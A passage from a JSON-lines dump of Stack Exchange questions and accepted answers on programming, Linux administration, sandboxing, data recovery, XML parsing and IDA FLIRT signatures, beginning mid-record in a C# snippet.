0;            var findingWinner = true;            while(findingWinner)            {                var inWinnersList = false;                if (winnersList.Count() != 0)                {                    if(!winnersList.Contains(voteList.ElementAt(j)))                    {                        winnersList.Add(voteList.ElementAt(j));                        findingWinner = false;                    }                }                else                {                    winnersList.Add(voteList.ElementAt(j));                    findingWinner = false;                }                j++;            }        }"  , "title": "Linq in foreach with c#"  , "tags": "c#;linq"  } 
{  "id": "_codereview.27067"  , "question": "In my controller I had the idea to do something like the following:// retrieve fields from form$firstname = $form->getInput('firstname');$lastname = $form->getInput('lastname');[...]// create Member object$member = new Member($firstname, $lastname, [...]);// save Member in DB$this->_daoFactory->get('Member')->save($member);In this example, the DAO factory would create an instance of the MemberDAO class, which (I guess) acts like a data mapper? And allows me to save the Member object in DB, to update a Member, get a Member from id, and other db requests probably.What do you think about this code?Thank you for your review!"  , "title": "Is this a good way for Controller to interact with Model ? (MVC)"  , "tags": "php;mvc"  } 
{  "id": "_unix.203330"  , "question": "I want to add toolbar buttons to KDE titlebars to avoid using the menu for certain tasks. As an example I want to be able to get a screen to stay on top until I disable it. eg. KDE titlebars have a menu item More Actions -> Keep Above Others.How would I add a button to enable or disable it with one click?"  , "title": "How can I add a toolbar button to KDE titlebars?"  , "tags": "kde;toolbar"  , "accepted_answer": "One solution would be to assign a keyboard shortcut for that kwin action. Open systemsettings => shortcuts and gestures and choose Global Keyboard Shortcuts in the left panel, and on the right pane select KWin at the KDE component dropdown menu.And for the button, if you only want to trigger built-in functions, that is pretty easy to add, you can also configure that in systemsettings => workspace appearance. Click on Configure Buttons ... at the bottom, and enable Use custom titlebar button positions. Then simply drag&drop the actions to the place where you want it on the titlebar, and add spacers as needed.See also http://www.linuxbsdos.com/2012/07/04/how-to-custmize-kdes-window-titlebar-buttons/ for a detailed description with screenshots.If you want to add custom actions, you might need to have a look into the KWin scripting facilities:https://techbase.kde.org/Development/Tutorials/KWin/Scriptinghttps://techbase.kde.org/Development/Tutorials/KWin/Scripting/API_4.9How can I run a kwin script from the command line?If you would really want to add a custom button to the titlebar, you would need to customize or create the window decoration in an existing or new theme for that."  } 
{  "id": "_softwareengineering.250844"  , "question": "I'm looking for a book to learn how to implement interpreters for programming languages. Thing is there are much more 'compiler books' than 'interpreter books'. So my question is: can I read a book that teaches how to build compilers, to learn how to build interpreters (at a very beginner level)? Is this a good idea? If so, what do I need to keep in mind while reading?"  , "title": "Is a book that teaches how to build compilers good for learning to implement interpreters?"  , "tags": "learning;books;compiler;interpreters"  , "accepted_answer": "Absolutely - an interpreter is just a one line at a time compiler. It performs much the same task, that of taking some form of human-understandable source code and turning it into something a computer processor can understand. A compiler will do this for entire source file(s), whereas an interpreter will do this on an as-read basis. You will need to handle a few differences around loading source as needed, and handling parsing source files to find the next line to read, but otherwise you'll be implementing a compiler fundamentally."  } 
{  "id": "_softwareengineering.194615"  , "question": "I'm developing a WordPress theme and am planning to sell it myself. I was thinking of having a 14- or 30-day refund policy for customers, but my concern is that people can essentially get the theme for free, if they: 1) buy it, 2) download the files, and then 3) request a refund. Then they would have both the theme and their money back.I've been looking into software refund policies and noticed there are a few different schools of thoughts on providing customer refunds:School of Thought #1 - Provide refunds. If your software is good quality, not many people will request a refund. My response: But in my case, even if users think the theme is high quality, they can still request a refund and also keep the theme. I have also put a lot of work into the development and testing of the theme, so it is quality work.School of Thought #2 - Provide refunds, but some customers will abuse the refund process, so have an activation code and only provide refunds to people who have not activated the software. My response: This sounds like a good idea, but there isn't an activation mechanism for themes in WordPress, so I don't know how I could implement it.School of Thought #3 - No refunds. My response: This seems really inflexible. I'm not against refunding customer payments for good reason, but I don't want to give away my work, either.Have you heard of any other good options in setting up a refund policy?"  , "title": "Setting up a refund policy for a commercial WordPress theme"  , "tags": "customer relations"  , "accepted_answer": "Have a read of Joel On Software's blog post about 7 steps to customer service.In particular, Step 7 is apropos to your concerns.They run with a 90 day policy for requesting refunds, and per the article, it's cost them 2%.  Joel Spolsky also creates a correlation between the customers feeling empowered in the transaction; being nice to customer service reps; and no real abuse of their refund system.The entire article is well worth reading, and I think you'll pick up some gems as you build your business."  } 
{  "id": "_webapps.27288"  , "question": "Strangely enough, I couldn't find any info about this, which I would have thought is a common problem.I want to share a folder with another person I work with. I want to give them the same permissions as I have, not just edit. I want to make them owners of that folder. Is that possible at all?"  , "title": "How to Set Several Owners for a Google Drive Folder"  , "tags": "google drive"  , "accepted_answer": "Only one person can own a folder in Google Drive.  You can allow access to other people, but there can be only one owner.http://support.google.com/drive/bin/answer.py?hl=en&answer=2494886"  } 
{  "id": "_cs.33890"  , "question": "I know that the general consensus among CS researchers is that non-relativizing techniques will be needed to separate P and NP.  However, if there is an oracle language $A \\in \\textbf{P}$ such that ${\\textbf{P}}^A \\neq {\\textbf{NP}}^A$ would that necessarily imply ${\\textbf{P}} \\neq {\\textbf{NP}}$?  I read somewhere that it would be enough, but I'm not sure.On the one hand, since any NDTM can be supplemented with a polynomial-time deterministic subroutine for $A$, having oracle access to it should not give an NDTM any more power.  On the other hand though, aren't oracle TM's able to make queries about strings of any length in the oracle language?  In that case, we could not jump to the conclusion that P does not equal NP, because according to my understanding, polynomial-time Turing machines (whether deterministic or non-deterministic) cannot be influenced by strings of length exponential in the length of the input string."  , "title": "Can oracle arguments separate P and NP?"  , "tags": "complexity theory;p vs np;oracle machines"  } 
{  "id": "_unix.6433"  , "question": "Were I root, I could simply create a dummy user/group, set file permissions accordingly and execute the process as that user. However I am not, so is there any way to achieve this without being root?"  , "title": "How to jail a process without being root?"  , "tags": "permissions;not root user;jails"  , "accepted_answer": "More similar Qs with more answers worth attention: https://stackoverflow.com/q/3859710/94687https://stackoverflow.com/q/4410447/94687https://stackoverflow.com/q/4249063/94687https://stackoverflow.com/q/1019707/94687some of the answers there point to specific solutions not yet mentioned here. (Actually, there are quite a few jailing tools with different implementation, but many of them are either not secure by design (like fakeroot, LD_PRELOAD-based), or not complete (like fakeroot-ng, ptrace-based), or would require root (chroot, or plash mentioned at http://joey.kitenet.net/blog/entry/fakechroot_warning_label). These are just examples; I thought of listing them all side-by-side, with indication of these 2 features (can be trusted?, requires root to set up?), perhaps at http://en.wikipedia.org/wiki/Operating_system-level_virtualization#Implementations.)In general, the answers there cover the full described range of possibilities and even more: virtual machines/OS(the answer mentioning virtual machines/OS)kernel extension (like SELinux)(mentioned in comments here), chrootchroot-based helpers (which however must be setUID root, because chroot requires root; or perhaps chroot could work in an isolated namespace--see below):[to tell a little more about them!]Known chroot-based isolation tools:hasher with its hsh-run and hsh-shell commands. (Hasher was designed for building software in a safe and repeatable manner.)schroot mentioned in another answer...ptraceAnother trustworthy isolation solution (besides a seccomp-based one) would be the complete syscall-interception through ptrace, as explained in the manpage for fakeroot-ng:Unlike  previous  implementations,  fakeroot-ng  uses  a  technology that leaves the         traced process no choice regarding whether it will use  fakeroot-ng's services  or         not.  Compiling  a program statically, directly calling the  kernel and manipulating         ones own address space are all techniques that can  be  trivially   used  to  bypass         LD_PRELOAD  based  control  over a process, and do not apply to  fakeroot-ng. It is,         theoretically, possible to mold fakeroot-ng in such a way as to have  total  control         over the traced process.While  it  is theoretically possible, it has not been done.  Fakeroot-ng does assume         certain nicely behaved assumptions about the process being  traced, and a  process         that  break  those  assumptions may be able to, if not totally escape  then at least         circumvent some of the fake environment imposed on it by   fakeroot-ng.  As  such,         you  are  strongly warned against using fakeroot-ng as a  security tool. Bug reports         that claim that a process can deliberatly (as opposed to inadvertly)  escape  fake         root-ng's control will either be closed as not a bug or marked as  low priority.It  is  possible  that  this policy be rethought in the future. For  the time being,         however, you have been warned.Still, as you can read it, fakeroot-ng itself is not designed for this purpose.(BTW, I wonder why they have chosen to use the seccomp-based approach for Chromium rather than a ptrace-based...)Of the tools not mentioned above, I have noted Geordi for myself, because I liked that the controlling program is written in Haskell.Known ptrace-based isolation tools:Geordiprootfakeroot-ng... (see also How to achieve the effect of chroot in userspace in Linux (without being root)?)seccompOne known way to achieve isolation is through the seccomp sandboxing approach used in Google Chromium. But this approach supposes that you write a helper which would process some (the allowed ones) of the intercepted file access and other syscalls; and also, of course, make effort to intercept the syscalls and redirect them to the helper (perhaps, it would even mean such a thing as replacing the intercepted syscalls in the code of the controlled process; so, it doesn't sound to be quite simple; if you are interested, you'd better read the details rather than just my answer).More related info (from Wikipedia):http://en.wikipedia.org/wiki/Seccomphttp://code.google.com/p/seccompsandbox/wiki/overviewLWN article: Google's Chromium sandbox, Jake Edge, August 2009seccomp-nurse, a sandboxing framework based on seccomp.(The last item seems to be interesting if one is looking for a general seccomp-based solution outside of Chromium. There is also a blog post worth reading from the author of seccomp-nurse: SECCOMP as a Sandboxing solution ?.)The illustration of this approach from the seccomp-nurse project:A flexible seccomp possible in the future of Linux?There used to appear in 2009 also suggestions to patch the Linux kernel so that there is more flexibility to the seccomp mode--so that many of the acrobatics that we currently need could be avoided. (Acrobatics refers to the complications of writing a helper that has to execute many possibly innocent syscalls on behalf of the jailed process and of substituting the possibly innocent syscalls in the jailed process.) An LWN article wrote to this point:One suggestion that came out was to  add a new mode to seccomp. The API  was designed with the idea that  different applications might have  different security requirements; it  includes a mode value which  specifies the restrictions that should  be put in place. Only the original  mode has ever been implemented, but  others can certainly be added.  Creating a new mode which allowed the  initiating process to specify which  system calls would be allowed would  make the facility more useful for  situations like the Chrome sandbox.Adam Langley (also of Google) has  posted a patch which does just that.  The new mode 2 implementation  accepts a bitmask describing which  system calls are accessible. If one of  those is prctl(), then the sandboxed  code can further restrict its own  system calls (but it cannot restore  access to system calls which have been  denied). All told, it looks like a  reasonable solution which could make  life easier for sandbox developers.That said, this code may never be  merged because the discussion has  since moved on to other possibilities.This flexible seccomp would bring the possibilities of Linux closer to providing the desired feature in the OS, without the need to write helpers that complicated.(A blog posting with basically the same content as this answer: http://geofft.mit.edu/blog/sipb/33.)namespaces (unshare)Isolating through namespaces (unshare-based solutions) -- not mentioned here -- e.g., unsharing mount-points (combined with FUSE?) could perhaps be a part of a working solution for you wanting to confine filesystem accesses of your untrusted processes. More on namespaces, now, as their implementation has been completed (this isolation technique is also known under the nme Linux Containers, or LXC, isn't it?..):One of the overall goals of namespaces is to support the implementation of containers, a tool for lightweight virtualization (as well as other purposes).It's even possible to create a new user namespace, so that a process can have a normal unprivileged user ID outside a user namespace while at the same time having a user ID of 0 inside the namespace. This means that the process has full root privileges for operations inside the user namespace, but is unprivileged for operations outside the namespace.For real working commands to do this, see the answers at:Is there a linux vfs tool that allows bind a directory in different location (like mount --bind) in user space?Simulate chroot with unshareand special user-space programming/compilingBut well, of course, the desired jail guarantees are implementable by programming in user-space (without additional support for this feature from the OS; maybe that's why this feature hasn't been included in the first place in the design of OSes); with more or less complications.The mentioned ptrace- or seccomp-based sandboxing can be seen as some variants of implementing the guarantees by writing a sandbox-helper that would control your other processes, which would be treated as black boxes, arbitrary Unix programs.Another approach could be to use programming techniques that can care about the effects that must be disallowed. (It must be you who writes the programs then; they are not black boxes anymore.) To mention one, using a pure programming language (which would force you to program without side-effects) like Haskell will simply make all the effects of the program explicit, so the programmer can easily make sure there will be no disallowed effects.I guess, there are sandboxing facilities available for those programming in some other language, e.g., Java.Cf. Sandboxed Haskell project proposal.NaCl--not mentioned here--belongs to this group, doesn't it?Some pages accumulating info on this topic were also pointed at in the answers there:page on Google Chrome's sandboxing methods for Linuxsandboxing.org group"  } 
{  "id": "_webapps.1092"  , "question": "Is there any way to export all the Facebook historical data from your profile (contacts, photos, videos, posts, links, comments, etc.) to a local storage?"  , "title": "How do I export content from Facebook?"  , "tags": "facebook;data liberation"  , "accepted_answer": "This web app describes steps to achieve what you're looking for I think.UpdateIt appears this addon was removed.  It used to be called ArchiveFacebook, but I don't see it on the mozilla site anymore."  } 
{  "id": "_softwareengineering.261349"  , "question": "I am using MVP for creating an android application, which takes data from server and sets to activity.  I am forced to create one presenter for each view.Each view is unique because each view has different textviews/labels.The presenter will read values from model and call setter method for each control in view.For second view, I will need  different presenter, as I need to call some other setter methods on the view interface.   This means view - presenter will have one to one relationship.Is it ok for view - presenter to have one to one relation in MVP or my approach is not correct?  EDIT: I will be using one presenter for each  view because I have to. Because each presenter will implement the functionality unique for each view. However that poses reusability problem. The presenters have a lot of common code. eg calling helper to load data from URL etc.  So I am planning to use either the abstract factory pattern or the strategy pattern.  The problem with abstract factory pattern is , if tomorrow my presenter need to extend another class, it cannot be done because i m coding in java. So is it advisable to use abstract factory pattern in java , for the presenter group?"  , "title": "How can one presenter be used for multiple views in MVP"  , "tags": "android;mvp;factory method"  , "accepted_answer": "Yes, it is fine.Applying MVP design pattern means having MVP triplets (model-presenter-view) per every (even a bit complex) item to display. The logic goes to the model, and the presenter is there just to glue things."  } 
{  "id": "_webmaster.24235"  , "question": "We are located in Israel and suppose to receive payments from all over the world, but mostly from North America and Western Europe.Can one recommend a developer friendly, reliable and simple service which I can use? (hint: PayPal is a wrong answer!)I wish Stripe were serving customers outside of US, but this is not the case yet."  , "title": "I am looking for a developers friendly, simple credit card processing service for a business outside of the US. Any recommendations?"  , "tags": "ecommerce;creditcard"  , "accepted_answer": "Have a look at Moneybookers, http://www.moneybookers.com/ads/merchant-account/ecommerce-payment-system/I'm using their services between my different bank accounts since a couple of year and you can trust them. You can even have a Master Card linked to your account.Hope it help"  } 
{  "id": "_unix.42824"  , "question": "My desktop is usually very responsive, even under heavy load. But when I copy files to a USB drive, it always locks up after some time. By lock up, I mean:Moving focus from one window to another can take 10-20sSwitching desktops can take 10-20sVideos don't update anymore (in YouTube, the audio continues to play, only the video freezes)The system load isn't exceptionally high when this happens. Sometimes, I see a lot of white on xosview indicating that the kernel is busy somewhere.At first glance, it looks as if copying files to the USB drive would interfere somehow with compiz but I can't imagine what the connection could be.Here is the output of htop:Here is the output of iostat -c -z -t -x -d 1 during a 2 minute hang:19.07.2012 20:38:22avg-cpu:  %user   %nice %system %iowait  %steal   %idle           1,27    0,00    0,38   37,52    0,00   60,84Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await r_await w_await  svctm  %utilsdg               0,00     2,00    0,00  216,00     0,00 109248,00  1011,56   247,75  677,69    0,00  677,69   4,63 100,00As you can see, only the external harddisk is active. Here is the complete log: http://pastebin.com/YNWTAkh4The hang started at 20:38:01 and ended at 20:40:19.Software information:openSUSE 12.1KDE 4.7.xFilesystems: reiserfs and btrfs on my internal harddisk, btrfs on the USB drive"  , "title": "Why does my desktop lock up when I copy lots of files to a USB drive?"  , "tags": "linux;kde;btrfs"  , "accepted_answer": "My first guess was btrfs since the I/O processes of this file system sometimes take over. But it wouldn't explain why X locks up.Looking at the interrupts, I see this:# cat /proc/interrupts            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7         0:        179          0          0          0          0          0          0          0  IR-IO-APIC-edge      timer  1:          6          0          0          0          0          0          0          0  IR-IO-APIC-edge      i8042  8:          1          0          0          0          0          0          0          0  IR-IO-APIC-edge      rtc0  9:          0          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   acpi 12:         10          0          0          0          0          0          0          0  IR-IO-APIC-edge      i8042 16:    3306384          0          0          0          0          0          0          0  IR-IO-APIC-fasteoi   ehci_hcd:usb1, nvidia, mei, eth1Well, duh. The USB driver uses the same IRQ as the graphics card and it is first in the chain. If it locks up (because the file system does something expensive), the graphics card starves (and the network, too)."  } 
{  "id": "_unix.198537"  , "question": "I'm try to make a new virtual machine but virtualbox have this error in end step :Failed to create a new session.Callee RC: NS_ERROR_FACTORY_NOT_REGISTERED (0x80040154)and in terminal this shwn for me: $ virtualbox WARNING: The vboxdrv kernel module is not loaded. Either there is no module         available for the current kernel (3.16.3-1-ARCH) or it failed to         load. Please reinstall the kernel module virtualbox-host-modules or         if you don't use our stock kernel compile the modules with           sudo dkms autoinstall         You will not be able to start VMs until this problem is fixed.Qt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileQt WARNING: libpng warning: iCCP: known incorrect sRGB profileCallee RC: NS_ERROR_FACTORY_NOT_REGISTERED (0x80040154)"  , "title": "virtualbox can not create new virtual machine"  , "tags": "arch linux;kernel;virtualbox;virtualization"  } 
{  "id": "_codereview.2751"  , "question": "Last weekend I was writing a short PHP function that accepts a starting move and returns valid knight squares for that move.<?php/* get's starting move and returns valid knight moves */echo GetValidKnightSquares('e4');function GetValidKnightSquares($strStartingMove) {  $cb_rows = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' => 6, 'g' => 7, 'h' => 8);  $valids  = array(array(-1, -2), array(-2, -1), array(-2, 1), array(-1, 2), array(1, 2), array(2, 1), array(2, -1), array(1, -2));  $row = substr($strStartingMove, 0, 1);  $col = substr($strStartingMove, 1, 1);  $current_row = $cb_rows[$row];  if(!in_array($current_row, $cb_rows)) {    die(Hey, use chars from a to h only!);  }  $current_col = $col;  if($current_col > 8) {    die(Hey, use numbers from 1 to 8 only!);  }  $valid_moves = '';  foreach ($valids as $valid) {    $new_valid_row = $current_row + $valid[0];    $new_valid_col = $current_col + $valid[1];    if(($new_valid_row <= 8 && $new_valid_row > 0) && ($new_valid_col <= 8 && $new_valid_col > 0)) {      $row_char = array_search($new_valid_row, $cb_rows);      $valid_moves .= $row_char . $new_valid_col ;    }  }  return Valid knight moves for knight on $strStartingMove are: $valid_moves;} ?>Could you please take a look at it and share your thoughts about it?  The code can also be found here.I was kinda 'criticized' about the code. One guy said it's messy, too long and not 'clever' enough. So I needed second opinion on it, a code review if you like. I think there is a place for improvement (always), but for me this was the first time I've coded something related with Chess. I've found something like this that caught my attention:if ((abs(newX-currentX)==1 and abs(newY-currentY)==2) or (abs(newX-currentX)==2 and abs(newY-currentY)==1)) {  /* VALID MOVE FOR A KNIGHT */}else {  /* INVALID MOVE FOR A KNIGHT */}"  , "title": "Need help with valid knight moves in Chess"  , "tags": "php"  } 
{  "id": "_vi.10479"  , "question": "I know that for options and mappings I can use verbose (set|map) XXX(?)? to find out which script has set an option or a mapping at last. However, this does not work for variables and the let command. At the same time using let g: only shows me the function or line etc. where a variable was set but not the scriptfile.Is there any way to get to achieve this?"  , "title": "How to figure out which script set a variable?"  , "tags": "variables"  } 
{  "id": "_softwareengineering.178030"  , "question": "I have an app with the following three tablesEmail (emailNumber,  Address)Recipients (reportNumber, emailNumber, lastChangeTime, status)Report (reportNumber, reportName)I have a C# application that uses inline queries for data selection.I have a select query that selects all reports and their Recipients. Recipients are selected as comma separacted string.During updating, I need to check concurrency. Currently I am using MAX(lastChangeTime) for each reportNumber. This is selected as maxTime.  Before update, it checks that the lastChangeTime <= maxTime. --//It works fineOne of my co-developers asked why not use GETDATE() as maxTime rather than using a MAX operation. That is also working. Here what we are checking is the records are not updated after the record selection time.Is there any pitfalls in using GETDATE() for this purpose?"  , "title": "Concurrency checking with Last Change Time"  , "tags": "c#;sql;concurrency"  } 
{  "id": "_cogsci.13873"  , "question": "Are there any studies on the effects of long term imprisonment on cognitive abilities? I'm looking for something which focuses on cognitive impairment rather than other psychological issues."  , "title": "Cognitive impairment in long term prisoners"  , "tags": "cognitive psychology"  } 
{  "id": "_codereview.141932"  , "question": "I need to compress some text, I'm wondering if my program could be made more efficient. The only things I could think of would be the 'import re' and turning the filename input and read part as a function.import refrom ast import literal_eval################## Compression #####################def comp():    while True:        try:            fileName=input('Please input text file name in current directory: ')+'.txt'            a=open(fileName)            break        except:            print('No Such text file in current directory name: '+fileName)    content = a.read()    a.close()    p = re.compile(r'[\\w]+|[\\W]')    split = p.findall(content)    b = []    wordList = []    for word in split:        try:            r = wordList.index(word) + 1        except ValueError:            wordList.append(word)            r = len(wordList)        b.append(r)    f=open('compressed.txt', 'w')    f=open('compressed.txt', 'r+')    f.write(str(wordList)+'\\n'+str(b))    f.close()###################################################################### De-Compression ##################def decomp():    while True:        try:            fileName=input('Please input text file name in current directory: ')+'.txt'            a=open(fileName)            break        except:            print('No Such text file in current directory name: '+fileName)    words = literal_eval(a.readline().rstrip('\\n'))    pos = literal_eval(a.readline())    temp = []    for index in pos:        temp.append(words[index-1])    sentence = ''.join(temp)    print(sentence)####################################################"  , "title": "Compress and decompress a string from a file"  , "tags": "python;python 3.x;file;compression;import"  } 
{  "id": "_unix.277687"  , "question": "I'm trying to recover from an accidental format of ext4 1TB HDD. I tried virtually all linux tools (extundelete, ext3grep, ext4magic, testdisk, photorec, and others).Some that worked: testdisk, photorec and foremost. They recovered some 300000 files, but they didn't recover the hdd folder structure which is very important to me because I had many projects and important documents in this HDD.They just recovered files and put them in folders divided by extension  or some in a unique folder. extundelete couldn't find anything. ext3grep and ext4magic crashed.I'm trying for more than a week to find a tool that recover folder structure with no luck.Is this possible ? I mean recover files inside the correct folder structure ?HistoryI accidentally formated it and immediately shutted down the computer. It was a data only HDD with no file system files in it. So I initially thought I had a good chance of recovering it. But I'm start to think I'll have to deal with organizing thousands of files.I have searched many forums, and help sites like this and couldn't find anything that works. In order to recover from it I bought a Blackarmor NAS with 6TB space. So I have plenty of room to any recovery operation.All utilites mentioned above, as long as all the recovered files were recovered not from the unit itself, but from an image I've made with dd.The HDD itself is physically OK. No damaged sectors or malfunctions.Any advice welcome.UpdateAt this point I'm not getting anywhere so I sent the physical HDD to a data recovery company. Any advice about recovering files and folder structure can only be based now on the image I have."  , "title": "Recover formated ext4 partition with file structure"  , "tags": "data recovery;ext4"  } 
{  "id": "_cstheory.8758"  , "question": "The paper Symbolic Finite State Transducers, Algorithms and Applications by Bjorner et al (to appear at POPL 2012) describes one type of finite-state, infinite-alphabet automata/transducers by using predicates from any decidable theory as the alphabet. The paper also references quite a few others including:Automata and logics for words and trees over an infinite alphabet by Segoufin, Finite memory automata by Kaminski and Francez, FOCS 1990I'm wondering whether there's a good survey on different infinite alphabet automata models."  , "title": "Survey on infinite alphabet automata?"  , "tags": "reference request;fl.formal languages;automata theory;survey"  } 
{  "id": "_codereview.154603"  , "question": "I am parsing ICD-10 codes and have achieved a result that satisfies my base case, but I'm worried about how fragile my method is:import xml.etree.ElementTree as ET# A sample of the larger XML file I'm parsingdata = '''<diag><name>A00</name><desc>Cholera</desc><diag>  <name>A00.0</name>  <desc>Cholera due to Vibrio cholerae 01, biovar cholerae</desc>  <inclusionTerm>    <note>Classical cholera</note>  </inclusionTerm></diag><diag>  <name>A00.1</name>  <desc>Cholera due to Vibrio cholerae 01, biovar eltor</desc>  <inclusionTerm>    <note>Cholera eltor</note>  </inclusionTerm></diag><diag>  <name>A00.9</name>  <desc>Cholera, unspecified</desc></diag></diag>'''# Create the treetree = ET.ElementTree(ET.fromstring(data))# the `iter` method returns all tags in a given tree# I'm just grouping the tags and texts heredef get_all_elements(tree):    return [(elem.tag, elem.text) for elem in tree.iter()]# This will return the desired elements from my treedef parse_elements(tree):    # First, get all of the elements in the tree    elements = get_all_elements(tree)    to_return = {}    # This is what I think is too fragile. I'm basically looking    # ahead for each element to see whether the next two elements    # match the diag -> name -> desc sequence. But this indexing seems    # to be too fragile at scale.    for idx, elem in enumerate(elements):        if 'diag' in elem and 'name' in elements[idx+1] and 'desc' in elements[idx+2]:            name = elements[idx+1]            desc = elements[idx+2]            to_return[name[1]] = desc[1]    return to_returnres = parse_elements(tree)Let's see what's in res:for k,v in res.items():    print(name (code): , k, \\n  desc: , v)name (code):  A00.9   desc:  Cholera, unspecifiedname (code):  A00.0   desc:  Cholera due to Vibrio cholerae 01, biovar choleraename (code):  A00   desc:  Choleraname (code):  A00.1   desc:  Cholera due to Vibrio cholerae 01, biovar eltorSo, I achieve my desired output, but I keep thinking there much be a better way to parse this XML. Unfortunately there's no <diag><subdiag></subdiag></diag>-type of hierarchy. Even subdiagnoses are labeled with the <diag> tag. I suppose the above is my attempt at recursion -- although I have found true recursion tough with the current tag-naming. At the end of the day, I just need the name: desc pairs.Edit:There's also this approach:names = [x.text for x in ET.fromstring(data).findall('.//name')]descs = [x.text for x in ET.fromstring(data).findall('.//desc')]res = zip(names, descs)But I don't think this approach scales well, as the number of elements in names and descs differed by about 1000 when I tested this on the larger XML file. There were mismatches between codes and descriptions when I validated on actual codes."  , "title": "Parsing XML to get all elem.tag: elem.text pairs"  , "tags": "python;xml"  , "accepted_answer": "Since the latter approach resulted into broken mismatched pairs, looks like there are codes with no descriptions.If you want to capture only the diagnosis codes that have descriptions (existing desc nodes), you can enforce this rule with the following XPath expression:.//diag[name and desc]The problem though is that xml.etree.ElementTree supports a limited set of XPath features and for this particular expression to work, you need to switch to lxml.etree. But, it will come with a performance boost, better memory usage and a richer functionality. It's worth it.You can also simplify the way you extract codes by using findtext() and a dictionary comprehension:from pprint import pprintimport lxml.etree as ETdata = your XML hereroot = ET.fromstring(data)result = {diag.findtext(name): diag.findtext(desc)          for diag in root.xpath(.//diag[name and desc])}pprint(result)"  } 
{  "id": "_unix.360888"  , "question": "I'm debugging an app for a client and I found the information from the DB which could be solution. I ask the client to extract it but unfortunately the client sent me the raw data in hexadecimal...I ask the client to resend me the plain text from the DB tools but awaiting their response I'm looking for a bash solution.I know the encoded data is a UTF-8 encoded string: is there a way to decode it with Unix tools?"  , "title": "How to get UTF8 from a hex variable?"  , "tags": "ubuntu;character encoding"  , "accepted_answer": "With xxd (usually shipped with vim)$echo 5374c3a97068616e650a | xxd -p -rStphaneIf your locale's charset (see output of locale charmap) is not UTF-8 (but can represent all the characters in the encoded string), add a | iconv -f UTF-8.If it cannot represent all the characters, you could try  | iconv -f UTF-8 -t //TRANSLIT to get an approximation."  } 
{  "id": "_unix.285338"  , "question": "What is the meaning of the ? sign in the following command?find /foo/path -name \\?"  , "title": "find: meaning of the \\? sign as a value of the name parameter"  , "tags": "command line;find;wildcards"  , "accepted_answer": "The ? is part of a mechanism called pathname expansion in the shell.Colloquially, the shell mechanism is called globing. The basic glob makes use just of three characters: * ? and [ that build patterns.  An asterisk * means:Any character in any quantity (any string).A question mark (?) means:Any character one time.The square braces define a character list [ ], and mean:Only the characters inside the list counted once. There may exist negated lists.Those characters are used in a similar way in the command find. In find, they are called patterns.That means that there are two entities using the same characters to perform the same task (globing). One has to be told to ignore those characters. The usual way to tell the shell to avoid interpretation of special characters is to quote them. Either with 'single quotes', double quotes or with a backslash:'?'?\\?That is why the patterns for find are quoted:find /path/foo -name \\?What that line means is:List all files and directories starting from the directory /path/foo that have a name of only one character wide.about /Note that ? in find's pattern expansion may match a /.A pattern in find can match a / as specified by POSIX inside the operands section for the find command:-path  pattern   The primary shall evaluate as true if the current pathname matches pattern using the pattern matching notation described in Pattern Matching Notation. The additional rules in Patterns Used for Filename Expansion do not apply as this is a matching operation, not an expansion.Again: additional rules ... for Filename Expansion (as in a shell) do not apply as this is a matching operation, not an expansion.To show that this is true:$ mkdir test; cd test$ mkdir -p a/b/c/d$ find a -path 'a?b'a/b$ find . -path './a?b?c?d'./a/b/c/dOf course, the -name option of find will match the basename of a file. That, by definition, could not have a / as is not possible to match a / in a basename."  } 
{  "id": "_datascience.17204"  , "question": "Here is a simple example:In a 3D space, if point A is the geocenter of a planet, point B is its north pole, and point C has a fixed latitude/longitude on the planet surface. Then the position of point C can be inferred from the position of A and B (using geodetic projection).Now assuming that I have thousands of points in the space, their incomplete relations are in a big multipgraph. I would like to deduce the position of a point that is initially unknown. What is the best algorithm to search search through all its relations and try to deduce it?"  , "title": "What is the best algorithm for deterministic belief propagation?"  , "tags": "graphs;graphical model"  } 
{  "id": "_reverseengineering.175"  , "question": "I've seen this referenced in a couple of other questions on this site.  But what's a FLIRT signature in IDA Pro?  And when would I create my own for use?"  , "title": "What is a FLIRT signature?"  , "tags": "ida;flirt signatures"  , "accepted_answer": "FLIRT stands for Fast Library Identification and Recognition Technology.Peter explained the basics, but here's a white paper about how it's implemented:https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtmlTo address those issues, we created a database of all the functions  from all libraries we wanted to recognize. IDA now checks, at each  byte of the program being disassembled, whether this byte can mark the  start of a standard library function. The information required by the recognition algorithm is kept in a  signature file. Each function is represented by a pattern. Patterns  are first 32 bytes of a function where all variant bytes are marked.It's somewhat old (from IDA 3.6) but the basics still apply.To create your own signatures, you'll need FLAIR tools, which can be downloaded separately.(FLAIR means Fast Library Acquisition for Identification and Recognition)The IDA Pro book has a chapter on FLIRT and using FLAIR tools."  } 
